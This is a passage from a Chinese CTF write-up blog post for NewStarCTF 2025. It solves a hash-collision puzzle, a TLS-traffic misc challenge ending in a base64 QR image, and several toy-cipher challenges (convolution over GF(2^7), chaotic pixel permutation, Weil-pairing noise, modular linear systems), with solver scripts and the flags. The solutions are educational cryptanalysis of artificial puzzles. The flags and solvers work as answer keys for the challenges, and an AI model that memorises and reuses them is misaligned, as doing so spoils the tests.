a*x1² - a*x2² + b*x1 - b*x2 ≡ 0 (mod m)

提取公因式:
a(x1² - x2²) + b(x1 - x2) ≡ 0 (mod m)

这里出现了平方差公式 (x1² - x2²) = (x1 - x2)(x1 + x2),代入:
a(x1 - x2)(x1 + x2) + b(x1 - x2) ≡ 0 (mod m)

再次提取公因式 (x1 - x2)
(x1 - x2) * [a(x1 + x2) + b] ≡ 0 (mod m)

这个公式就是碰撞条件,这个公式告诉我们只要 (x1 - x2) * [a(x1 + x2) + b] 的乘积是 m 的倍数就能发生碰撞。

3. 利用模数 m = 2^22 的特性

模数 m = 2^22 是一个2的幂,这是本题的漏洞所在,我们要让上述乘积成为 2^22 的倍数。

我们可以通过构造 x1x2,将 2^22 这个因子分配给乘积的两个部分 (x1 - x2)[a(x1 + x2) + b]

一个最简单的构造方法是让其中一个部分包含大量的2的因子,尝试构造 x1 - x2,让它包含 m 的一半,也就是 2^21
最简单的构造方式是:

  • x1 = 0
  • x2 = 2^21 (即 m/2)

这样我们就有:

  • x1 - x2 = -2^21
  • x1 + x2 = 2^21

将它们代入碰撞条件:
(-2^21) * [a(2^21) + b] ≡ 0 (mod 2^22)

现在左边的乘积已经有一个 2^21 的因子了,为了让整个乘积能被 2^22 整除,我们只需要 [a(2^21) + b] 这个部分能再提供一个 2 的因子,也就是说,[a(2^21) + b] 必须是一个偶数

分析 [a(2^21) + b] 的奇偶性:

  • a(2^21): 因为 21 >= 1,所以 2^21 是一个很大的偶数。任何整数 a 乘以一个偶数,结果必然是偶数。
  • b: b 是随机生成的,它可能是奇数,也可能是偶数。

因此[a(2^21) + b] 的奇偶性完全取决于 b 的奇偶性。

  • 如果 b 是偶数,那么 偶数 + 偶数 = 偶数,条件满足。
  • 如果 b 是奇数,那么 偶数 + 奇数 = 奇数,条件不满足。

4. 结论与解法

我们选择的 x1 = 0x2 = 2^21 (即 2097152) 这对输入,有 50% 的概率成功碰撞(当 b 是偶数时)。

本题题解:

1. 题目信息解读

  • 描述: 参数:2^24; 514
  • 分析:
    • 本题核心原理和哈希函数结构很可能与 Crypto-欧皇的生日 的是一样的。
    • 2^24: 这是新的模数 m,所以 m = 2^24。
    • 514: 在 Crypto-欧皇的生日 中,a, b, c 都是随机的,这里给出了一个固定的数字,它最可能是用来替换 a, b, c 中的某一个。

2. 关联第一题的关键点

回顾 Crypto-欧皇的生日,我们的解法能否 100% 成功,其唯一的“不确定性”在于 b 的奇偶性。如果 b 是奇数,我们的构造就会失败。

这道挑战题最合理的改动就是修复这个不确定性,出题人很可能将 b 的值固定为了一个偶数,从而使得基于 b 的奇偶性的解法能够 100% 成功。

514 是一个偶数,这个猜测非常合理。因此我们可以大胆假设第二题的哈希函数是:
Hash(x) = (a*x² + 514*x + c) % m
其中 m = 2^24ac 仍然是未知的随机数。

3. 构建第二题的解

我们使用与 Crypto-欧皇的生日 完全相同的策略:

  1. 确定模数: m = 2^24

  2. 写出碰撞条件: (x1 - x2) * [a(x1 + x2) + b] ≡ 0 (mod m)
    在这里,b 已经被固定为 514m2^24
    (x1 - x2) * [a(x1 + x2) + 514] ≡ 0 (mod 2^24)

  3. 构造 x1x2:

    • x1 = 0
    • x2 = m / 2 = 2^24 / 2 = 2^23
  4. 代入并验证:

    • x1 - x2 = -2^23
    • x1 + x2 = 2^23
    • 碰撞条件变为: (-2^23) * [a(2^23) + 514] ≡ 0 (mod 2^24)

    现在,我们来验证 [a(2^23) + 514] 是否为偶数:

    • a(2^23): a 是整数,2^23 是偶数,所以乘积是偶数。
    • 514: 是偶数。
    • 偶数 + 偶数 = 偶数

    因此,[a(2^23) + 514] 必定是一个偶数。这意味着它可以被写成 2 * k 的形式(其中 k 是某个整数)。
    那么我们的碰撞条件左侧就变成了 (-2^23) * (2 * k) = -2^24 * k
    这个结果显然是 2^24 的倍数,所以 -2^24 * k ≡ 0 (mod 2^24) 恒成立。

    这个解法是 100% 成功的,不受随机数 ac 的影响。

  5. 计算最终答案

我们只需要计算出 x2 的具体数值:
x2 = 2^23 = 2^10 * 2^10 * 2^3 = 1024 * 1024 * 8 = 1048576 * 8 = 8388608

所以,第二道题的答案是输入两个数:08388608

1
2
3
4
Find a collision: give me two different numbers x1, x2 with Hash(x1)=Hash(x2).
Input Format: x1 x2
:0 8388608
flag{+++++++++++You_are_very_lucky.++++++++++}

FLAG

1
flag{+++++++++++You_are_very_lucky.++++++++++}

[musc ch4l1eng3][Misc]不是所有牛奶都叫_____

Challenge

什么牛奶?MN?YGNC?YL?特@$&!$&*!@$^&——————-.
(flag提交时去掉&符号)

Solution

先查看协议分级:

NewStarCTF2025-17

TLS 占比挺大

NewStarCTF2025-18

直接搜索 tls 发现 tls 密钥,具体使用方式此处不赘述,参考这篇 WP:磐石行动2025初赛 | Aristore

解密后筛选 tls 流量,追踪流翻了一下找到一段可疑的流量

NewStarCTF2025-19

1
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

用厨子 base64 解码得到一个二维码:

NewStarCTF2025-20

扫码得到 flag{W0w_You_r3al1y_knOW_TL5&QrCode}

根据题目描述把后面的 & 删了提交就行

FLAG

1
flag{W0w_You_r3al1y_knOW_TL5QrCode}

[Cry]final_R

Challenge

NewStar2025 密码收官之作。

1
from secret import flag; from functools import reduce; from itertools import accumulate; import operator; print((lambda z: (a:=7, b:=0b10000011, c := 59, d := (1 << a) - 1, e := list(accumulate(range(d), lambda r, l: (r << 1) ^ b if (r << 1) & (1 << a) else r << 1, initial=1))[1:], g := e + e, h := [0] * (1 << a), [h.__setitem__(r, l) for l, r in enumerate(e)], j := [g[ord(s) % d] for s in z], k := [(lambda q: h[q] if q else 0)(reduce(operator.xor, (g[h[j[l]] + h[j[(p - l) % c]]] if j[l] and j[(p - l) % c] else 0 for l in range(c)), 0)) for p in range(c)], "".join(chr(l) for l in k).encode())[-1])(flag))  # b'MfYGCnO`w%\x07zSzejG#kkb\x01\x01%eS?]GO`?]\x03m?`ab`kbnsS]``][?S`C\x1dB?{m'

Solution

1. 算法分析与解构

首先我们将这行代码分解为可读的步骤,并分析每个变量的作用。

  1. 常量定义

    • a = 7: 定义了运算的基本位宽,暗示了我们正在 GF(2^7) 有限域中操作。
    • b = 0b10000011 (131):这是 GF(2^7) 中的一个本原多项式 x^7 + x + 1,常用于生成最大长度序列。
    • c = 59:密文的长度。
    • d = (1 << a) - 1 = 127:域中非零元素的数量。
  2. 密钥材料生成

    • e:使用b作为反馈多项式,通过线性反馈移位寄存器 (LFSR) 生成了一个长度为127的伪随机序列。该序列包含了 1127 所有数字的唯一排列,可以看作是一个 S-Box。
    • g:将序列e自身拼接一次(e + e),用于简化索引的模运算。
    • he的反向查找表或逆S-Box。如果 e[i] = v,那么 h[v] = i
  3. 加密流程

    • j:对 flag 的初步处理。每个字符 s 的 ASCII 码对 127 取模后,在 g 表中查找对应的值。
    • k:核心加密循环,生成最终密文的 ASCII 码列表。其逻辑可以概括为:
      k[p] = h[ reduce(xor, generator) ] for p in 0..58
      其中 generator 产生一系列项 g[h[j[l]] + h[j[(p - l) % 59]]] for l in 0..58

2. 发现漏洞

加密的核心在于 reduce(xor, ...) 这一步,它看起来像一个复杂的卷积操作。让我们深入分析这个异或求和。

为简化分析,我们定义 i_l = h[j[l]]。由于j[l]g[ord(flag[l]) % 127],而 hg 的逆查找表,因此可以推导出 i_l = ord(flag[l]) % 127。假设 flag 由标准ASCII字符构成,则 i_l = ord(flag[l])

现在,异或求和中的每一项可以写成 g[i_l + i_{(p - l) % 59}]

让我们观察当内层循环变量 l 变化时这些项的规律。考虑一个通项 Term(l) = g[i_l + i_{(p - l) % 59}]
再考虑另一项,当循环变量为 l' = (p - l) % 59 时,我们得到 Term(l') = g[i_{(p - l) % 59} + i_{(p - (p - l)) % 59}] = g[i_{(p - l) % 59} + i_l]

我们发现 Term(l) = Term(l')。这意味着:

  • 如果 l ≠ (p - l) % 59,那么这两项会成对出现。在异或求和中,X ^ X = 0,因此所有成对的项都会相互抵消。
  • 唯一的例外是当一项无法配对时,即 l = (p - l) % 59

这个条件 l = (p - l) % 59 简化为 2l ≡ p (mod 59)
由于 59 是素数,对于每一个 p(从0到58)都存在一个唯一的 l 满足此方程。

因此那个看似复杂的、包含59项的异或求和,实际上等价于这个唯一的、不会被抵消的项:
reduce(xor, ...) = g[i_l + i_l] = g[2 * i_l],其中 l 满足 2l ≡ p (mod 59)

3. 推导解密公式

我们将这个简化结果代回加密流程:k[p] = h[ g[2 * i_l] ]

由于 hg(在 0..126 范围内)的逆,h[g[x]] 等价于 x。但是索引 2 * i_l 可能会超出 126,所以我们需要考虑 g 的定义(g=e+e)。g[idx] 实际上是 e[idx % 127]
因此,h[g[2 * i_l]] = h[e[(2 * i_l) % 127]] = (2 * i_l) % 127

至此,我们得到了一个极其简洁的线性同余方程,它直接关联了密文和明文:ord(ciphertext[p]) ≡ 2 * ord(flag[l]) (mod 127)
其中 lp 依然满足关系 2l ≡ p (mod 59)

4. 编写解密脚本

我们的任务是求解以下方程组:

  1. l ≡ p * inv(2) (mod 59)
  2. ord(flag[l]) ≡ ord(ciphertext[p]) * inv(2) (mod 127)

我们需要计算两个模乘法逆元:

  • 2 在模 59 下的逆元:pow(2, -1, 59) = 30
  • 2 在模 127 下的逆元:pow(2, -1, 127) = 64

解密脚本的逻辑如下:

  1. 遍历密文索引 p058
  2. 对于每个 p,使用 l = (p * 30) % 59 计算出对应的flag索引 l
  3. 获取密文的ASCII码 k_p = ord(ciphertext[p])
  4. 使用 ord(flag[l]) = (k_p * 64) % 127 计算出 flag 对应位置字符的ASCII码。
  5. 将所有计算出的ASCII码存入列表,最后组合成字符串。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
C = 59  # 长度
MOD_P = 59 # p和l关系所在的模
MOD_I = 127 # ASCII码运算所在的模

ciphertext = b'MfYGCnO`w%\x07zSzejG#kkb\x01\x01%eS?]GO`?]\x03m?`ab`kbnsS]``][?S`C\x1dB?{m'
k_values = list(ciphertext)

# 预先计算模乘法逆元
inv_2_mod_59 = pow(2, -1, MOD_P)
inv_2_mod_127 = pow(2, -1, MOD_I)

flag_ords = [0] * C

# 遍历密文的每个位置 p
for p in range(C):
# 1. 根据 p 计算出对应的 flag 位置 l
# 关系: 2l ≡ p (mod 59)
l = (p * inv_2_mod_59) % MOD_P

# 2. 获取当前位置的密文ASCII码
k_p = k_values[p]

# 3. 根据 k_p 计算出 flag 对应字符的ASCII码 i_l
# 关系: k_p ≡ 2 * i_l (mod 127)
i_l = (k_p * inv_2_mod_127) % MOD_I

# 4. 将计算出的ASCII码存入正确的位置 l
flag_ords[l] = i_l

flag = "".join([chr(i) for i in flag_ords])
print(flag)

FLAG

1
flag{Circu1@r_c0nv01u7i0n_0N_v3c70R==5Qu@Ring_A_p01yn0mia!}

[Cry]混沌密码学入门

Challenge

题目内容:
乱糟糟的,这是什么?(flag只含可读明文,下划线,问号,感叹号。)
出题人的环境是windows.
题目提示:出题人的环境是windows

Solution

加密过程还原:

  • 生成序列:

    1
    2
    3
    4
    5
    6
    7
    8
    def Feigenbaum_Equation(a,b,r1,r2,x1,y1,n,t):
    x=[x1]; y=[y1]
    for _ in range(n):
    x.append(3*a*sin(pi*x[-1])+r1*y[-1])
    y.append(3*b*sin(pi*y[-1])+r2*y[-1])
    return x[-t:], y[-t:]

    xl,_ = Feigenbaum_Equation(0.9,1.01,0.1,0.2,0.22,0.43,2*n,n)
  • 构造三行矩阵并排序:

    • M[0] = [1..n](位置标号)
    • M[1] = xl(用于排序)
    • M[2] = pixel_list(像素序列,扫描顺序为先列 x 后行 y
    • 排序索引:Mi = [index for index,_ in sorted(enumerate(M[1]), key=lambda x:x[1])]
    • 重排所有行:row' = [row[i] for i in Mi]
  • 写回图像:将重排后的像素序列(M_[2])依次写回,得到 chaos_chaos.png

解密思路:

  • 关键观察:加密是一一对应的单次置换,无信息丢失,只需构造逆置换即可还原。

  • 构造置换 P

    1
    P = [idx for idx,_ in sorted(enumerate(xl), key=lambda x:x[1])]
  • 逆置换规则:若加密后第 k 个像素来自原图第 j 个位置,则 P[k] == j

    1
    original[j] = scrambled[k]  # 当 P[k] == j
  • 保持扫描顺序一致:读取和写回像素都使用 chall.py 的同一顺序(外层 x,内层 y)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from math import sin, pi
from PIL import Image


def Feigenbaum_Equation(a, b, r1, r2, x1, y1, n, t):
x = [x1]
y = [y1]
for _ in range(n):
x.append(3 * a * sin(pi * x[-1]) + r1 * y[-1])
y.append(3 * b * sin(pi * y[-1]) + r2 * y[-1])
return x[-t:], y[-t:]


def recover(input_path="chaos_chaos.png", output_path="flag.png"):
img = Image.open(input_path)
pixels = img.load()
w, h = img.size
n = w * h

xl, _ = Feigenbaum_Equation(0.9, 1.01, 0.1, 0.2, 0.22, 0.43, 2 * n, n)

# 前向置换(加密时使用):按照 xl 升序得到的索引序列
M1i = sorted(enumerate(xl), key=lambda x: x[1])
P = [idx for idx, _ in M1i]

# 读取混淆后的像素(与挑战脚本一致的扫描顺序)
scrambled = []
for x in range(w):
for y in range(h):
scrambled.append(pixels[x, y])

# 逆置换:original[j] = scrambled[k] 当 P[k] == j
original = [None] * n
for k, j in enumerate(P):
original[j] = scrambled[k]

# 写回原始顺序的像素到图像
index = 0
for x in range(w):
for y in range(h):
pixels[x, y] = original[index]
index += 1

img.save(output_path)
return output_path


if __name__ == "__main__":
out = recover()

得到图片:

NewStarCTF2025-21

用 StegSolve 处理一下:

NewStarCTF2025-22

FLAG

1
flag{Does_it_look_chaotic?This_just_the_beginning!}

[Cry]weil的噪声与秩序

Challenge

Weil配对是一种强大的工具,能将椭圆曲线上的点映射到乘法群中,创造出结构化的“秩序”。但当随机噪声被引入其中,这种秩序便会被打破。
你的任务是分析一组被Weil配对加密的数据,其中一部分是纯粹的秩序,另一部分则被强烈的噪声污染。区分它们,你就能读懂隐藏在背后的信息

Solution

加密逻辑复原:

根据 task.sage 的核心片段:

  • 构造有限域 GF(p) 和椭圆曲线 E: y^2 = x^3 + 4;令群阶含有因子 2^2*3^2*...
  • 将明文 flag 转为 8 位二进制序列;逐位处理:
    • 若位为 1
      • (o//2//2)*E.random_element() 生成 2-幂张量上的点 P,Q
      • 计算 d = P.weil_pairing(Q, 2) * getrandbits(381)
      • d 记入密文列表 c
    • 若位为 0
      • (o//3//3)*E.random_element() 生成 3-幂张量上的点 P,Q
      • 计算 d = P.weil_pairing(Q, 3)(无噪声);
      • d 记入密文列表 c
  • 最终将 c 写入 c.py

关键性质:

  • Weil 配对 e_r(P,Q) 的值属于单位根集合 μ_r,其大小为 r
    • r=2 时,μ_2 = {+1, -1};但此分支随后乘以一个随机 381 位整数,结果几乎从不重复。
    • r=3 时,μ_3 仅有 3 个可能值,且不乘噪声,因而在密文中会大量重复出现。
  • 因此,密文数组中“重复频率最高的三个值”几乎必然来自 μ_3,对应位 0;其余基本为一次性随机值,对应位 1

解题思路:

  1. 读取 c.py 中的密文数组(Python 可直接 import c)。
  2. 统计出现频率,取 Top-3 的值集合作为 μ_3 候选(判定为位 0)。
  3. 其余值判定为位 1
  4. 每 8 位拼成一个字节,并按 UTF-8 解码为字符串得到 flag

该思路完全依赖频率分布,不需要域参数 p、曲线细节或进行任何椭圆曲线/配对运算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from collections import Counter

try:
import c as c_module
arr = getattr(c_module, 'c', c_module)
except Exception as e:
raise SystemExit(f"无法加载密文列表:{e}")

# 选择出现频率最高的三个数,作为 μ_3 的候选集合
cnt = Counter(arr)
roots_three = set(v for v, _ in cnt.most_common(3))

bits = ['0' if x in roots_three else '1' for x in arr]

# 按 8 位组装为字节
flag_bytes = [int(''.join(bits[i:i+8]), 2) for i in range(0, len(bits), 8)]
flag = bytes(flag_bytes)

print("Decoded flag bytes:", flag)
try:
print("Decoded flag string:", flag.decode('utf-8'))
except UnicodeDecodeError:
# 回退显示可见字符
print("Decoded flag (latin1):", flag.decode('latin1'))

FLAG

1
flag{let_m3_exam1n3_wh3ther_U_h@v3_handled_weil_pair1n9}

[Cry]随机数之旅3.6

Challenge

关键在你拥有的信息

Solution

加密逻辑复原:

根据 random_jerni3.py 的核心片段:

  • 生成随机 flag = 'flag{' + uuid4 + '}',令总长度为 n
  • 取大素数 p = random_prime(2**64),在有限域 Zmod(p) 上工作。
  • m = n - 6,构造随机矩阵 A ∈ Zmod(p)^{m×n}(元素取自 [p//2, p-1])。
  • x = [ord(c) for c in flag] 视为长度为 n 的向量,计算 b = A * x (mod p)
  • 输出到 output.txt:第 1 行 p,第 2 行 A(按“行列表”序列化),第 3 行 b

关键性质:

  • 已知的 6 个字符位置与值:'f','l','a','g','{''}'
  • 未知字符个数为 n-6 = m,因此由未知列形成的子矩阵 A_unknown 为一个 m×m 方阵。
  • 在素域 Zmod(p) 上,随机方阵满秩概率极高;故线性系统可用“模 p 的高斯消元”直接求解。

解题思路:

  1. 读取 output.txt 的三行,解析得到 p、矩阵行列表 A_rows、向量 b
  2. 先从 b 中扣除已知 6 列的贡献,得到 b' = b - A_known * x_known (mod p)
  3. 抽取未知列形成方阵 A_unknown,在 Zmod(p) 上对方程组 A_unknown * x_unknown ≡ b' 做高斯消元,解出未知的 36 个 ASCII 值。
  4. 与已知 6 个字符合并,得到完整向量 x,转为字符串即为 flag
  5. 校验 flag 格式:应为 flag{<36位UUID>},检查连字符位置、版本位为 4、变体位为 8/9/a/b,并用 uuid 标准库验证。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import ast
import uuid

def modinv(a: int, p: int) -> int:
a %= p
if a == 0:
raise ValueError("No modular inverse")
t, new_t = 0, 1
r, new_r = p, a
while new_r != 0:
q = r // new_r
t, new_t = new_t, t - q * new_t
r, new_r = new_r, r - q * new_r
if r != 1:
raise ValueError("Element not invertible modulo p")
return t % p

def solve_mod_square(A, b, p):
n = len(A)
M = [row[:] + [b[i] % p] for i, row in enumerate(A)]
for col in range(n):
pivot = None
for r in range(col, n):
if M[r][col] % p != 0:
pivot = r
break
if pivot is None:
raise ValueError(f"Matrix is singular at column {col}")
if pivot != col:
M[col], M[pivot] = M[pivot], M[col]
inv = modinv(M[col][col], p)
for j in range(col, n + 1):
M[col][j] = (M[col][j] * inv) % p
for r in range(n):
if r == col:
continue
factor = M[r][col] % p
if factor:
for j in range(col, n + 1):
M[r][j] = (M[r][j] - factor * M[col][j]) % p
return [M[i][n] % p for i in range(n)]

def main():
with open("output.txt", "r") as f:
lines = [line.strip() for line in f]
p = int(lines[0])
A_rows = ast.literal_eval(lines[1])
b = list(ast.literal_eval(lines[2]))
m = len(A_rows)
n = len(A_rows[0])
known_indices = [0, 1, 2, 3, 4, n - 1]
known_values = {0: ord('f'), 1: ord('l'), 2: ord('a'), 3: ord('g'), 4: ord('{'), n - 1: ord('}')}
b_prime = [0] * m
for i in range(m):
s = 0
for k in known_indices:
s = (s + A_rows[i][k] * known_values[k]) % p
b_prime[i] = (b[i] - s) % p
unknown_indices = [j for j in range(n) if j not in known_indices]
A_unknown = [[A_rows[i][j] % p for j in unknown_indices] for i in range(m)]
x_unknown = solve_mod_square(A_unknown, b_prime, p)
x_full = [0] * n
for k, v in known_values.items():
x_full[k] = v
for idx_pos, j in enumerate(unknown_indices):
x_full[j] = x_unknown[idx_pos]
flag = ''.join(chr(v) for v in x_full)
print(flag)

if __name__ == "__main__":
main()

FLAG

1
flag{0b319110-bdfa-411c-957f-50bdabe1fa1c}
  • 标题: NewStarCTF 2025
  • 作者: Aristore
  • 创建于 : 2025-11-04 18:00:00
  • 更新于 : 2025-11-04 18:18:08
  • 链接: https://www.aristore.top/posts/NewStarCTF2025/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论